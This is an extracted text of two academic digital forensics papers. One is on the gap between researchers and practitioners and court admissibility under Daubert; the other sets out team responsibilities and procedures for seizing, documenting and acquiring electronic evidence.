\includegraphics[width=0.5\textwidth]{three_groups.png}
\caption{The three groups in digital forensics.}
\end{figure}

In conducting their work, the aim of practitioners is to perform complete, accurate, and timely investigations that are court-admissible. Each investigation must be completed in a timely manner in order to preserve data and meet court-imposed deadlines. Large volumes of data slow down any practitioner, so the data set must be reduced to eliminate non-useful data. Practitioners continually face the data reduction problem. That is, reducing the volume of data down to a manageable and yet meaningful amount. The large data sets can overwhelm investigators and can make completing investigations difficult, if not impossible. This problem is primarily responsible for practitioners relying on automated tools to cull the data set. Despite its importance, this issue is rarely discussed in digital forensics research literature.

\(^1\) This paper does not address the distinctions and differences between researchers and practitioners from each of the three groups.
The court-admissibility of evidence and findings is critical for practitioners. Every step a forensics investigator makes can affect the admissibility of evidence. Chain of custody, data integrity verification, and the data acquisition method can all be called into question by opposing counsel, thereby potentially leading to critical evidence being deemed inadmissible. Practitioners will therefore only employ techniques that are accepted by the courts. This is based on case precedents, so any untested techniques will not be used unless necessary.

The completeness and accuracy of an investigation is also important. Every investigator aims to discover as much useful evidence as possible, corroborate that evidence, and then present the findings in the most convincing manner possible. These goals center on an investigator's ability to sift through massive amounts of data, discover the important pieces of evidence, and rule out meaningless data. The practitioner achieves these three goals by utilizing software tools to automate the process, or at least provide semi-automated analysis. An additional factor is non-data evidence, such as custodian and suspect interviews. These investigatory aspects tend to fall under the purview of investigators moreso than researchers, since researchers often ignore the issue of linking non-data evidence to data evidence.

These three goals are the reasons for why practitioners rely so heavily on commercial software. The commercial software products are known to work and have been tested in court in prior cases. If the software is called into question, counsel can cite prior usage in its defense. The commercial software packages are also designed specifically to solve digital forensics problems. They store chain of custody information, they produce meaningful reports, and they can assist with data reduction. The argument can also be made for open source software packages [1]. These packages have also been tested in court and assist with data reduction and court-admissibility. The general trend, however, is that practitioners will opt for an all-in-one Windows-based software product over a more low-level product or technique.

The goals of digital forensics researchers have been stated several times in the literature. The attendees of the Digital Forensics Research Workshop in 2001 set out the following goals and guidelines [4]:

“The majority of current computer forensic analysis is focused on assisting the law enforcement community. The criteria that define suitability for forensic evidence in this area are the most clearly defined since computer forensic analysis must follow the same longstanding statutory and regulatory guidelines imposed on other, more traditional forensic disciplines. Existing technologies and those that are evolving, in support of law enforcement, will come under increasing scrutiny as technical knowledge expands in scope. For this reason, it is imperative that sound research steeped in the scientific method becomes fundamental to the discovery and enhancement of all tools and technologies employed to assist the courts, including digital forensic evidence.”

The group goes on to say:

“[T]o be effective, fundamental digital forensic research must provide suitable solutions with the widest possible applicability to Homeland Security. To do that the focus must be the foundation science at the root of the technologies we aim to analyze.”

In other words, digital forensics research must follow existing legal guidelines and must be performed according to the scientific method. The current technologies should be evaluated according to these principles, with an eye on developing technologies. The end result should be the discovery, evaluation, and enhancement of practical, scientific tools and techniques.

The goals of researchers and practitioners are largely orthogonal. Whereas practitioners work to solve immediate problems under tight time and resource constraints, researchers work to solve deeper problems without the time and resource constraints. The types of problems they work to solve are distinctly different. Researchers are afforded the luxury of time, which allows them to more formally
understand data, such as where they are stored and for how long.

Researchers tend to focus on full knowledge during an investigation rather than the pragmatic concerns of practitioners, such as time restrictions and very large data sets. Digital forensics researchers are typically computer scientists, so most digital forensics research is that of a computer science nature. For example, many of the research papers focus on computer science issues such as formalizing investigations and using mathematical formulas to describe digital forensics. Researchers prefer to formally describe and prove an investigation, rather than discussing pragmatic problems and legal constraints.

The fact that researchers work in a different environment than practitioners should in no way limit the effectiveness of their research. Practitioners can learn about the nature of data from such research. Researchers are afforded more time, which allows them to describe best practices. This can provide practitioners a basis for their analysis, as opposed to an ad hoc or purely practical approach. Moreover, practitioners must understand digital forensics at a deep theoretical level if they wish to be experts and be able to defend their investigations in court. Any digital forensics investigator who takes the stand in court must be able to withstand cross-examination and defend her findings. The research community can be extremely valuable in this respect by defining the error rates, steganography theory, etc.

The most valuable benefit of researchers is their ability to construct scientific principles, which is critical for court-admissible evidence. The basis for the admissibility for scientific evidence in the U.S. is known as the Daubert Test for admissibility. The Daubert Test originates from Daubert v. Merrel Dow Pharmaceuticals, Inc., 509 U.S. 579 (1993), whereby evidence is only deemed admissible if it is relevant and rests on a reliable foundation [2]. The criteria for Daubert are the following:

- Has the theory or technique been reliably tested?
- Has the theory or technique been subject to peer review and publication?
- What is the known or potential rate of error with the method used?
- Has the theory or technique been generally accepted by the scientific community?

Researchers can provide these tests, metrics, and peer reviews in order to satisfy the Daubert requirements. Currently, such error rates and testing are largely absent in digital forensics research literature.

4. CURRENT ISSUES

Practitioners and researchers each have their own understanding as to what is important for digital forensics. Practitioners focus on immediate issues that impede their ability to perform quick, accurate, and complete investigations. Researchers, on the other hand, focus on formalizations, standardization, and other theoretical issues. This section outlines some of the key issues for practitioners and researchers and explains how each perceives the other’s concerns.

The data reduction problem is the largest issue facing practitioners. Data storage is getting bigger and cheaper, and as such, the volume of data in digital forensics investigations is growing rapidly. Investigators have to adapt with new tools, techniques, and more computing hardware. Data mining researchers have worked for many years to develop data reduction techniques and tools, but most of this knowledge has not yet been applied to digital forensics research. Practitioners would be much more efficient if effective data mining tools and techniques were available.

Another big issue for practitioners is that of network data. It is almost unheard of to have a digital device that is not in some way networked. Like all other forensics evidence, network data must be acquired in a forensically sound way and then properly analyzed. The difficulty is collecting the volatile data and proving that the data was not altered. This is the key issue in network forensics, which researchers have begun to explore. This area is of critical importance to practitioners.
A third issue is the fast analysis of files for hidden data, i.e. steganography. When steganography is combined with the large volumes of data in most investigations and tight time deadlines, investigators simply cannot uncover all hidden data. Researchers have done much work in this area, which includes both individual file steganography and root kits. The caveat is that researchers focus on completeness instead of timeliness.

Table 1 displays several of the main issues faced by practitioners and the relative activity to solve that issue by researchers.

<table>
<thead>
<tr>
<th>Practitioners’ Issues</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Blind Steganography</td>
</tr>
<tr>
<td>2. Network forensics</td>
</tr>
<tr>
<td>3. Rootkit detection</td>
</tr>
<tr>
<td>4. Data Reduction Problem</td>
</tr>
<tr>
<td>6. Handheld devices</td>
</tr>
<tr>
<td>7. Error rates for tools</td>
</tr>
</tbody>
</table>

Table 1: Several of practitioners' main issues

Researchers have focused more on the foundational issues in digital forensics. The main issues being addressed are formalizing the analysis process and performing automation. The goal is to create a common language for computer forensics and also a standardized methodology for performing investigations. This goal is founded on the need for consistent, reproducible analysis.

Table 2 displays several of the main issues on which researchers are focusing.

<table>
<thead>
<tr>
<th>Researchers’ Issues</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Formal Methodologies</td>
</tr>
<tr>
<td>2. Root Cause Analysis</td>
</tr>
<tr>
<td>3. Automated Analysis</td>
</tr>
<tr>
<td>4. Formal Notation for Evidence</td>
</tr>
</tbody>
</table>

Table 2: Several of researchers' main issues

5. THE GAP BETWEEN THEORY AND PRACTICE

The main gap between the practitioners and researchers is a lack of communication. Researchers are not fully aware of the types of problems facing practitioners or the full scope of technologies they use. Practitioners, in turn, are not aware of the work done by researchers and their technical insights. Without understanding the other half, neither practitioners nor researchers can benefit from the other. This limits the field of digital forensics. There needs to be a better understanding of each side’s goals, challenges, and current work.

The redundant solving of problems is one particular area that points to a lack of communication. Researchers and practitioners are both good at spotting problems. The main difference is that researchers tend to be more thorough in how they solve the problem, whereas practitioners tend to solve problems faster. Another difference is that researchers focus more on the creation of a solution
Another area of confusion is the practicality of digital forensics research, such as research for formalizing digital forensics. Much of the current work centers on the formalization of methodologies. This includes employing mathematical notation to describe a forensic investigation. This makes sense within the realm of computer science, since many digital systems can be formally modeled. The formalized models break down, however, when human actions are incorporated. What use do mathematical models really serve a digital forensics practitioner? Will he go through the same mathematical rigor to validate and verify an investigation that a NASA programmer does for space shuttle software? Hopefully not. Most mathematical models are demonstrated in a paper with an example that has little resemblance to the complexity of a real-world investigation. The complexity of most real-world investigations is fairly great. Introducing formal verification models adds to the workload and will most likely yield little benefit in terms of finding mistakes or undiscovered causal links. Also, most digital forensics practitioners are not trained in set theory. More importantly, most juries, judges, and lawyers are not trained in set theory, which means that the formal model will do more to confuse than to convince.

The goal of research in any field is not always practicality. Researchers always strive to improve existing work or tread new ground. That aim is not always in line with what “industry” does. The medical industry is a prime example of this phenomenon. Researchers often work on curing a disease or condition with treatments that may not be ready for the public for over ten years. This is not practical in that the treatment cannot immediately go to market and may not even be effective in treating the disease in the end. Still, the researchers stay in line with the long-term goals of the industry and follow the established research methodology. Not all digital forensics research stays in line with an established methodology or the long-term goals of practitioners.

Digital forensics research could be made more practical through understanding what digital forensics aims to achieve. Digital forensics practitioners need a theoretical foundation for the field. Courts demand scientific soundness and credibility for any evidence entered into court. The soundness and credibility are evaluated based on Daubert. Researchers can establish this scientific foundation and also evaluate the soundness and error rates for current tools and techniques. This does not merely help practitioners; it is essential for their success.

Practitioners must become more aware of the advancements of researchers, if not more involved. Researchers are producing valuable works. These works, however, are often going ignored by practitioners. If practitioners want to advance their knowledge of theoretical issues and sound methodologies, then they need to follow these researchers’ works. The difficulty for practitioners is that they do not see the immediate value of digital forensics research. The research typically does not directly apply to their day-to-day work. As such, practitioners spend their time learning how to use techniques and tools that are of immediate value.

Practitioners and researchers should work together more closely to ensure that both understand the problems each are facing and the solutions each are producing. Some practitioners do participate in the research community. They provide researchers with more insight into the practical day-to-day problems faced in the field. They also communicate the state-of-art of digital forensics technologies to the researchers. This cross-communication empowers researchers to focus their research on practical and topical problems. It also provides practitioners with a greater understanding of theoretical issues and the work of researchers.

Venues for dialogue between researchers and practitioners do exist. The past five years have seen a consistent increase in the number of digital forensics-related books, journals, conferences, and workshops. Some are geared exclusively to practitioners, and some are geared exclusively to researchers. Most promising are those that seek a mix of researchers and practitioners [5], [3].
6. CAUSES OF CHANGE

Increased communication alone is not sufficient for improving digital, nor is it one of the most important drivers. Communication between researchers and practitioners provides each with an opportunity to better understand issues and techniques, but communication alone does not produce much change. If researchers continue to be funded to do similar work and only be evaluated by fellow researchers, then they will not likely adapt. Likewise, practitioners will not adapt unless their methods are questioned. There are two major factors in digital forensics that produce change: legal and economic.

Legal factors cause the most change in digital forensics. Several reasons exist for performing digital forensics, but the primary is to bring or respond to legal action. That is, the aim of most digital forensics investigations is to present convincing, admissible evidence to a court of law. The legal community is the primary driver for digital forensics, because they determine the overall relevance and soundness of evidence. Practitioners and researchers report to the courts as to what data and other evidence mean, and also the methods for acquiring and analyzing them. The legal community, while currently behind the times on most of these matters, determines what is admissible and reasonable based on practitioners and researchers’ opinions and findings.

The four areas for which the legal community has the greatest impact are admissibility of evidence, the speed at which data must be processed, presentation of data and analysis, and standardization of investigatory techniques. The legal community demands that forensic investigators produce their findings in a standard, accepted method. This means that a common language is used, and findings and reports be presented in a consistent manner. Additionally, lawyers put demands on the reasonableness of time to perform forensic analysis.

Economic factors also play heavily in the future of digital forensics. The primary economic factor in digital forensics is that of software companies. These companies develop the commercial off-the-shelf products upon which most law enforcement and private sector investigators depend. Simple economics states that these companies’ products will continue to improve based on increased competition in the digital forensics marketplace. This factor will drive companies to apply theoretical findings – such as data mining and network data analysis – in order to produce the best products. In other words, the gap between theoreticians and practitioners will be made smaller by economic factors through software manufacturers.

Economic considerations also drive researchers to produce work that is more closely aligned to what practitioners need. DARPA has had a steady decrease in funding for computer science and related fields over the past five years [7], and other funding agencies have not had an increase in funding to offset the decrease. This decrease means that researchers must compete with better research that produces practical or theoretically novel and important works. For digital forensics researchers, this means that they must produce work that is useful or otherwise important for digital forensics, instead of producing work that is never implemented, used, or referenced. Over time, this competition will force researchers to become more aware of practical and pragmatic concerns, and likewise close the gap between theory and practice.

7. CONCLUSION

Digital forensics is a young field that is being defined by its reactive nature. From its inception, digital forensics has rapidly evolved without a dearth of theoretical foundations. Practitioners have defined the best practices and developed tools on an as-needed basis, and those best practices and tools have begun to be analyzed by researchers during the past decade. This rapid development has led to many questions about the quality and soundness of those best practices and tools.

The ultimate goal of digital forensics researchers and practitioners is for the field to truly become a science like traditional forensics. Traditional forensics has an established body of literature based on
peer-reviewed, tested methodologies and techniques, which has enabled it to become a science. Digital forensics is subject to the same legal principles as traditional forensics, whereby it must satisfy the Daubert Test for admissibility. Digital forensics researchers and practitioners must thus have the same level of rigor and scientific soundness in order for digital evidence to reliably be admissible in court.

The rapid development of the field has led to a disconnect between practitioners and researchers. Practitioners constantly face new problems that they react to on an ad hoc basis. Researchers, on the other hand, face issues with less time sensitivity and seek to formally solve their problems. This scenario is similar to other scientific fields, but unlike other scientific fields, the goals for researchers and practitioners are different. Moreover, researchers and practitioners appear to have different approaches to digital forensics.

This paper lists several drivers that will solve the disconnect. The first is that both researchers and practitioners will better understand each other’s goals and problems. This would allow for more relevant research and better implementation of researchers’ findings. The understanding directly ties to the lack of communication. Practitioners and researchers tend to be isolated from one other, with their lack of communication. Many practitioners are unaware of the happenings in the digital forensics community, and likewise, many researchers are not aware of the capabilities of many commercial digital forensics tools. With more communication and better understanding, the digital forensics community can better and more quickly develop into a scientific field.

The other drivers are economic and legal, which will have more of an effect than communication alone. The legal community is why digital forensics was created in the first place; digital crimes or crimes involving digital evidence required a legally sound field. It is the legal community who will be the ultimate judge as to what digital forensics should achieve. Another major driver is economics. Bad research will not be funded, and bad forensics products will not be purchased. People naturally go where the money is, and as such, people in digital forensics will strive to produce the best products and research in order to get that money.

8. REFERENCES

ABOUT THE AUTHOR

Joe Sremack is a Managing Consultant with LECG’s Electronic Discovery Practice. Prior to joining LECG, Mr. Sremack conducted work and research in digital forensics, electronic discovery, and information security. He earned an M.S. in computer science from North Carolina State University and holds numerous industry certifications.
Teams Responsibilities for Digital Forensic Process

Salma Abdalla  
Information Technology Industry Development Agency (ITIDA)  
salma@mcit.gov.eg

Sherif Hazem  
Faculty of Engineering, Arab Academy for Science and Technology  
Information Technology Industry Development Agency (ITIDA)  
Snoureldin@mcit.gov.eg

Sherif Hashem  
Faculty of Engineering, Cairo University  
Information Technology Industry Development Agency (ITIDA)  
SHashem@mcit.gov.eg

ABSTRACT
This paper presents a detailed digital forensics process model and the responsible teams to perform it. The discussed model presents three teams and a forensic leader who coordinate between the three teams; these teams are physical crime scene team, laboratory examination team and courtroom team. These teams are responsible of achieving the digital forensic model by applying five main phases which are preparation phase, physical forensics and investigation phase, digital forensics phase, reporting and presentation phase and closure phase.

Most of the existing models in this field are either theoretical that deals with data processing or based on a legal point of view. Although they gave good information to base on it a guide, but they are not detailed enough to describe fully the investigative process and do not define teams and their responsibilities for investigation in a way that can be used by investigators during investigation.

In this model the responsibilities and procedures of each team is represented given detailed steps for each team, so it can be used as guidance for the forensic investigators during investigation and assist their training.

Keywords: digital forensics, computer forensics, digital investigation, forensic model, reference framework, Forensic teams’ responsibilities.

1. INTRODUCTION
Digital forensics can be defined as the process of extracting information and data from digital storage media and guarantee its accuracy and reliability. The challenge is actually finding this data, collecting it, preserving it and presenting it in a manner acceptable in a court of law (Marcella & Greenfield 2006; Palmer 2001). Digital forensic science is a relatively new discipline that has the potential to greatly affect specific types of investigations and prosecutions (Hall & Wilbon 2005; Asian School of Cyber Laws 2006).

To be able to perform digital forensic investigation, the organization providing this service must have the capability means that helps an organization to be prepared to detect and counter cyber crime incidents in a skilled and efficient manner. Such capability is combination of technically skilled people, policies, and techniques to constituting a proactive way for handling cyber crime incidents. There are some important conditions that should be followed by the organization to have these capabilities such as providing proper training for personnel of teams, ensuring that personnel are aware of the types of evidence usually encountered and the proper handling of the evidence, and the lab
should be equipped with the proper up-to-date equipments and forensic tools required for all operating systems and all system files for investigation.

In this paper a comprehensive and complete teams responsibilities model is discussed which propose detailed steps for each team, so it can be used as a reference frame work, support training of investigators and tool development. This model is based on previous models to meet special challenges of electronic evidence nature and make it admissible in courts. These challenges can be achieved by three different teams and a forensic leader who leads and coordinates between the three teams. These teams are physical crime scene team who is responsible of the physical forensics and investigation phase in the crime scene, laboratory examination team who is responsible of the digital forensics phase (the digital crime scene) and courtroom team who is responsible of both the legal and non-technical parts of the investigation which includes reporting and presentation phase and closure phase.

The rest of the paper is divided into 2 sections. Section 2 discusses the teams’ detailed responsibilities and procedures steps and Section 3 is model discussion and conclusion.

2. TEAMS RESPONSIBILITIES

2.1 Forensic Leader

A forensic leader is the person in charge who is responsible for coordinating between the three teams and responsible of achieving some other responsibilities such as:

1. Secure the scene.
2. Prepare administrative log, and narrative description.
3. Resolve problems.
4. Make final decisions.

He is also responsible with the help of the three teams to achieve the preparation phase which is the first stage of incident handling procedures, it must be applied before handling any investigation, the purpose of this phase is to make sure that the operation and infrastructure can support the investigation. Preparation phase can be subdivided into pre-preparation, case evaluation, preparation of detailed design for the case, preparation of investigation plan and determination of required resources.

2.1.1 Pre-preparation

1. Detect and identify the incident and make risk assessment of vulnerabilities and threats.
2. Discuss the search with involved personnel before arriving at the scene (Federal Bureau of Investigation 2003).
3. Establish a command headquarters for communication and decision making in major or complicated crime-scene searches (Federal Bureau of Investigation 2003).
4. Make preliminary personnel assignments for the physical crime scene team before arriving at the scene, while the assignments are keeping with the attitude, aptitude, training, and experience of search personnel.
5. Develop legal activities coordination plan (Federal Bureau of Investigation 2003), obtain a search warrant, if necessary, and obtain written and signed permissions from the concerned authorities to proceed.
6. Prepare the paperwork to document the search (Federal Bureau of Investigation 2003).
7. Provide all the needed requirements such as protective clothing, communication, lighting, shelter, transportation, equipment, food, water, medical assistance, etc.
2.1.2 Case evaluation

1. Initial case assessment: Investigator should perform initial assessment about the case by for example: asking questions related to the rule of computer /network in question and evidence related to the case.

2. Identifying the case requirements: which involves outing details of the case in systematic order such as:
   a. Situation of the case: a case can be violation of company policies by employee or Child pornography, etc.
   b. Nature of the case: personal work on employer’s computer or on a whole network or unknown criminal, etc.
   c. Specifics about the case: for example the role of computer or employee in question.
   d. Type of evidence: Can be hard disk, floppy, CD, etc.
   e. Operating system used by the suspect if possible.
   f. Knowing disk format [e.g. FAT32, NTFS, EXT3, etc.].
   g. The motive of the suspect: try to find motive of the crime and develop a general theory of the crime.

2.1.3 Preparation of detailed design for the case

The general outline to investigate the case, in which detailed steps are prepared taking into account the estimated time, resources and money required to complete each step.

2.1.4 Preparation of investigation plan

1. Develop an onsite plan which must include policies, procedures, personnel assignments, and technical requirements.

2. Plan for what to look for during search.

3. Approach strategy for both evidence collection and preservation.

4. Steps for evidence examination and analysis should be predefined.

2.1.5 Determination of required resources

1. Determine kind of software and hardware for investigation according to suspect operating system.

2. Specify tools that are accepted by courts [tested].

3. Accumulate evidence collection and packaging materials and equipment.

2.2 Physical Crime Scene Team Responsibilities

Physical crime scene team which consists of first responders, investigators, search and seizer coordinators and crime scene technicians is responsible for recognition, collection of physical evidence, preservation, transportation and storage of electronic evidence from the physical crime scene.

Each one of the team must understand the fragile nature of electronic evidence and the principles and procedures associated with its preservation. Actions that have the potential to alter, damage, or destroy original evidence may be closely scrutinized by the courts (Carrier 2006; National Institute of Justice 2001). The proper sequence for handling the team responsibilities is through the physical forensic and
The goal of this phase is to collect, preserve, analyze the physical evidences and reconstruct what happened in the physical crime scene. It can be subdivided into physical preservation, preliminary survey on physical scene, evaluate the physical scene, initial documentation, photographing and narration, search and collection of physical evidence and final survey for physical crime scene.

2.2.1 Physical preservation

1. Take extensive notes all the time and for everything, and consider the safety of all personnel (Federal Bureau of Investigation 2003).

2. Secure the physical crime scene:
   a. Follow jurisdictional policy for securing the crime scene, by ensuring that all persons are removed from the immediate area from which evidence is to be collected and do not alter the condition of any electronic devices. (National Institute of Justice 2001)
   b. Take immediate control on the scene by keeping out unauthorized personnel and record who enters and leaves.

3. Determine the extent to which the scene has been protected and get information about who have knowledge about the original condition.

4. Make interviews: (National Institute of Justice 2001)
   a. Separate and identify all persons (witnesses, subjects, or others) at the scene and record their location at time of entry.
   b. Consistent with departmental policy and applicable law, obtain from these individuals information such as:
      i. Owners and/or users of electronic devices found at the scene, as well as passwords, user names, and Internet service provider.
      ii. Any passwords required to access the system, software, or data. [An individual may have multiple passwords, e.g., BIOS, system login, network or ISP, application files, encryption pass phrase, e-mail, access token, scheduler, or contact list].
      iii. Purpose of the system.
      iv. Any unique security schemes or destructive devices.
      v. Any offsite data storage.
      vi. Any documentation explaining the hardware or software installed on the system.

5. Place labels over all the drive slots and over the power connectors.

2.2.2 Preliminary survey on physical scene

1. Select a narrative technique [written, audio...] then start taking preliminary photographs (Federal Bureau of Investigation 2003).

2. Delineate the extent of the search area. Usually expand the initial perimeter (Federal Bureau of Investigation 2003).

3. Identify and protect transient physical evidence.

4. Document physical and environmental conditions of the scene and all personnel movements.

5. Detect or suspect unauthorized activity; and report detected or suspected unauthorized activity to the proper authority (Beebe & Clark 2004).
6. Identify telephone lines attached to devices, if a telephone connection is present, attempt to identify the telephone number.

7. Document, disconnect and label each telephone line from the wall not from the device.

### 2.2.3 Evaluate the physical scene

1. Validate the incident and assess damage/impact via interviews of technical/business personnel, review of pertinent logs and review of network topology, etc. (Beebe & Clark 2004).

2. Ensure that the collection and packaging materials and equipment are sufficient.

3. Ensure the protection of non-digital evidences such as fingerprints.

4. Search the easily accessible areas, progress to out-of-view locations while looking for hidden items.

5. Evaluate whether evidence appears to have been moved or used.

6. Identify the number and type of computers and determine if a network is present.

7. Identify both internal and external storage devices that need to be seized.

8. Determine exactly where each device is physically located and label its location using labels.

9. Identify any application and/or users that are affected by a problem.

10. Determine which devices are on the network and determine which devices connect this network to the Internet and systematically search each part of the network for problems.

11. Determine how the devices are configured (Schweitzer 2003).

12. Make a complete evaluation of the crime scene.

13. Test the design: The decision made or steps taken should be reviewed. By reviewing the investigator can find out whether these steps are correct or need to be adjusted.

### 2.2.4 Initial documentation, photographing and narration

1. Nothing is insignificant to record if it catches one's attention (Federal Bureau of Investigation 2003).

2. Initial documentation
   a. Document everything
   b. Observe and document the physical scene, such as the position of the mouse and the location of components relative to each other [e.g., a mouse on the left side of the computer may indicate a left-handed user] (National Institute of Justice 2001).
   c. Document the condition and location of the computer system, including power status of the computer (National Institute of Justice 2001).
   d. Identify and document electronic components that will not be collected.
   e. Take written notes on what appears on the monitor screen (National Institute of Justice 2001).
   f. Active programs may require videotaping or more extensive documentation of monitor screen activity (National Institute of Justice 2001).
g. Use case management system so that the written data are protected and made available to a database of case information. With the case management system create three log files:

i. Search and seizer evidence log that include brief descriptions of all computers, devices or media located during the search for evidence. It also should document the date and time of the investigation, the names of all people who are involved with investigative activities (Wright 2001) and timestamp of the whole processes.

ii. Lab evidence log that includes: date and time of arrival of the seized evidence at the lab; a brief description of the evidence, the condition of the evidence upon arrival and name and signature of the investigator checking in the evidence (Wright 2001), then it will include details about the examination processes and who perform it.

iii. Collection log file which includes details about collection steps in digital forensic phase, and also includes image of the collected data, the check sum or md5 sum of the original and collected data and the investigators details including digital signatures and timestamp.

3. Additional documentation of the system will be performed during the rest of phases. Documentation is an ongoing process through the whole forensic phases. Therefore document each and every step done by the investigator or examiner and document anything that is found.

4. Use photographs and sketches to supplement, not substitute for, the narrative (Federal Bureau of Investigation 2003).

5. Do not collect evidence or touch anything during the narrative.

6. The narrative should include the following: (Federal Bureau of Investigation 2003)
   a. Case identifier.
   b. Date, time and location.
   c. Identity and assignments of personnel.
   d. Condition and position of evidence.

7. Prepare a photographic log that records all photographs, description and location of evidence and then include it in the search and seizer log file.

8. Photograph all stages of the crime-scene investigation, including discoveries (Federal Bureau of Investigation 2003).

9. Photograph the condition of evidence before and after examination.

10. Complete room should be recorded with 360 degrees of coverage, when possible, and photograph the front of the computer as well as the monitor screen and other components (National Institute of Justice 2001).

2.2.5 Search and collection of physical evidence

According to the case and depending on the initial case evaluation and plan, these steps can change depending on the case nature, taking decision depends on the case and should be taken with utmost care.

These are general steps for searching for physical evidences such as PCs or other equipments that can be used by the suspect:

1. Start the search and seizure evidence log in the case management system to document all devices state.
2. Search from the general to the specific for evidence and be alert for all evidence makes sure to protect the integrity of the evidence.

3. Wear latex or cotton gloves to avoid leaving fingerprints (Federal Bureau of Investigation 2003).

4. Search entrances and exits, and photograph all items before collection and notate the photographic log and mark evidence locations on the sketch (Federal Bureau of Investigation 2003).

5. Complete the search and seizer evidence log with notations for each item of evidence. If possible, have one person serve as evidence custodian (Federal Bureau of Investigation 2003).

6. Two persons should observe evidence in place, during recovery, and being marked for identification. Mark directly on the evidence when necessary, but first attempt to place identifying marks on evidence containers (Federal Bureau of Investigation 2003).

7. To avoid damage to potential evidence, remove any floppy disks that are present, package the disk separately, label the package and do not remove CDs or touch the CD drive (National Institute of Justice 2001).

8. Identify storage devices that need to be seized; these devices can be internal, external, or both.

9. Observe the monitor and determine if it is on, off, or in sleep mode. Then decide which of the following cases applies and follow the steps for that case:
   
   a. **Case 1:** Monitor is on and desktop is visible.
      
      i. Photograph screen and record information displayed (National Institute of Justice 2001).
      
      
      iii. Photograph and diagram the connections of the computer and the corresponding cables (National Institute of Justice 2001).
      
      iv. Label all connectors and cable ends [including connections to peripheral devices] to allow for exact reassembly at a later time (National Institute of Justice 2001).
      
      v. Isolate the network [Depends on the case as mentioned before].
      
      vi. Perform order of volatility and collect the volatile data that would be lost when the system is turned off, and identifying any suspicious processes that are running on the system then follow digital evidence acquisition procedures which will be discussed later in the digital forensic phase.
      
      vii. Record in notes all actions taken and any changes that observed in the monitor, computer, printer, or other peripherals that result from the performed actions (National Institute of Justice 2001).
      
      viii. Remove the power source cable from the computer not from the wall outlet [Decision of shutting down the computer depend on the case] and then start packaging procedures.
   
   b. **Case 2:** Monitor is on and screen is blank [sleep mode] or screen saver [picture] is visible.
      
      i. Move the mouse slightly [without pushing buttons]. The screen should change and show work product or request a password (National Institute of Justice 2001).
      
      ii. If mouse movement does not cause a change in the screen, don’t perform any other keystrokes or mouse operations (National Institute of Justice 2001).
      
      iii. Continue with all the steps of case 1.
c. **Case 3**: Monitor is off.
   i. Document that the monitor is off, then turn the monitor on, then determine if the monitor status is as described in either case 1 or 2 above and follow those steps.
   ii. If the computer itself is off then start packaging procedures.

10. **Packaging procedure**:
   
   a. Ensure that all collected electronic evidence is properly documented, labeled, and inventoried before packaging (National Institute of Justice 2001).
   
   
   c. Avoid using materials that can produce static electricity, such as plastic bags (National Institute of Justice 2001).
   
   d. Avoid folding, bending, or scratching computer media.
   
   e. Ensure that all containers used to hold evidence are properly labeled (National Institute of Justice 2001).
   
   f. Label each package with a unique label (Association of Chief Police Officers), which must include some details as name of the person and organization that packed the material, the content of package, the place where it is going to be packed and from where it was taken, and the time and date of packing.

11. **Transportation procedure**:
   
   a. Keep electronic evidence away from magnetic sources.
   
   b. Don’t store electronic evidence in vehicles for long periods of time as different temperature and weather conditions can damage evidence.
   
   c. Ensure that computers and other components that are not packaged in containers are secured in the vehicle to avoid shock and excessive vibrations (National Institute of Justice 2001).
   
   d. Maintain the chain of custody on transported evidence.

12. Storage procedure: Store evidence in a secure area away from temperature and humidity extremes. Protect it from magnetic sources, moisture, dust, and other harmful particles or contaminants (National Institute of Justice 2001).

13. Seal all evidence packages at the crime scene.

14. Constantly check paperwork, packaging, and other information for errors.

#### 2.2.6 Final survey and reconstruction for physical crime scene

1. Discuss the search with all personnel, then ensure all documentation is correct and complete (Federal Bureau of Investigation 2003).

2. Photograph the scene showing the final condition (Federal Bureau of Investigation 2003).

3. Ensure all evidence is secured, ensure all equipment is retrieved and ensure hiding places or difficult access areas have been overlooked (Federal Bureau of Investigation 2003).

4. Analyze any Non digital evidence that can help in the case [as finger prints, paper, etc.].
5. Reconstruct the events that occurred at the crime scene by using the crime scene appearance, the locations and positions of the physical evidence, the forensic laboratory analysis results, and the scientific method.

2.3 Laboratory Examination Team Responsibilities

Laboratory examiners are responsible for the digital crime scene or secondary scene. The laboratory examiners team should include digital evidence recovery experts, cyber forensic analysts and intelligence gathering specialists. Each case is unique and the judgment of the examiner should be given deference in the implementation of the procedures suggested. Investigation in the digital scene should be followed according to the digital forensic phase. This phase works in parallel or after the physical forensic and investigation phase according to the case nature. The goal of this phase is to identify and collect the electronic events that occurred on the system and analyze it, so that it can be used with the results of the previous phase to reconstruct events. It includes sub phases which are survey the digital scene, evaluation and assessment, acquisition of digital evidences, digital evidence examination, reconstruction of extracted data and conclusion.

2.3.1 Evaluation and assessment

1. Determine the evidence that was seized.
2. Determine additional information regarding the case as aliases, e-mail accounts, e-mail addresses, Internet Service Provider [ISP] used, names, network configuration and users, system logs, passwords, user names.
3. Assess the skill levels of the computer users involved knowing that skilled users can use complex ways to cover their crime.
4. Prioritize the order in which evidence is to be examined (Federal Bureau of Investigation 2003).
5. Determine if additional personnel or equipment will be needed.
6. Identify and evaluate storage locations in which the evidences were stored.
7. Identify proprietary software and the operating system in question.
8. Ascertain the condition of the evidence as a result of packaging, transport, or storage (National Institute of Justice 2004).
9. Assess the need to provide continuous electric power to battery-operated devices (National Institute of Justice 2004).
10. Verify operation of the examiner’s computer to include hardware and software (National Institute of Justice 2004).

2.3.4 Acquisition of digital evidences

Collecting of data can be done on a life system or on a shutdown system

1. Life System Case :
   a. Prepare an order of volatility in which the order of collection should be from most volatile to the least. Order of volatility can be:
      i. Registry, cache.
      ii. Routing table, ARP cache, process table and kernel statistics.
      iii. Memory.
      v. Disk.
vi. Remote logging and monitoring data that is relevant to system in question.
vii. Physical configuration, network topology.
viii. Archival media…..
b. Prevent outside interference and prevent execution of programs on a crime scene computer.
c. Start collection log file and create in it sub-directory to hold the evidence image.
d. Document the details of the investigation in the log file including investigator details, case background details, investigation dates and investigators digital signatures.
e. Document details of the disk media including investigator name and organization, case number, media evidence number, date and time imaging was done, name, model and serial number of computer, IP and system host name, make model, and serial number of hard disk [HD], internal storage devices and hardware configuration and scope of investigation.
f. Capture an accurate image of the system as soon as possible with minimum tampering or change in the system.
g. Command line tools are preferred than GUI interface tools, and use safe and tested tools.
h. Collect volatile data present on registry as:
   i. System time and date and running processes.
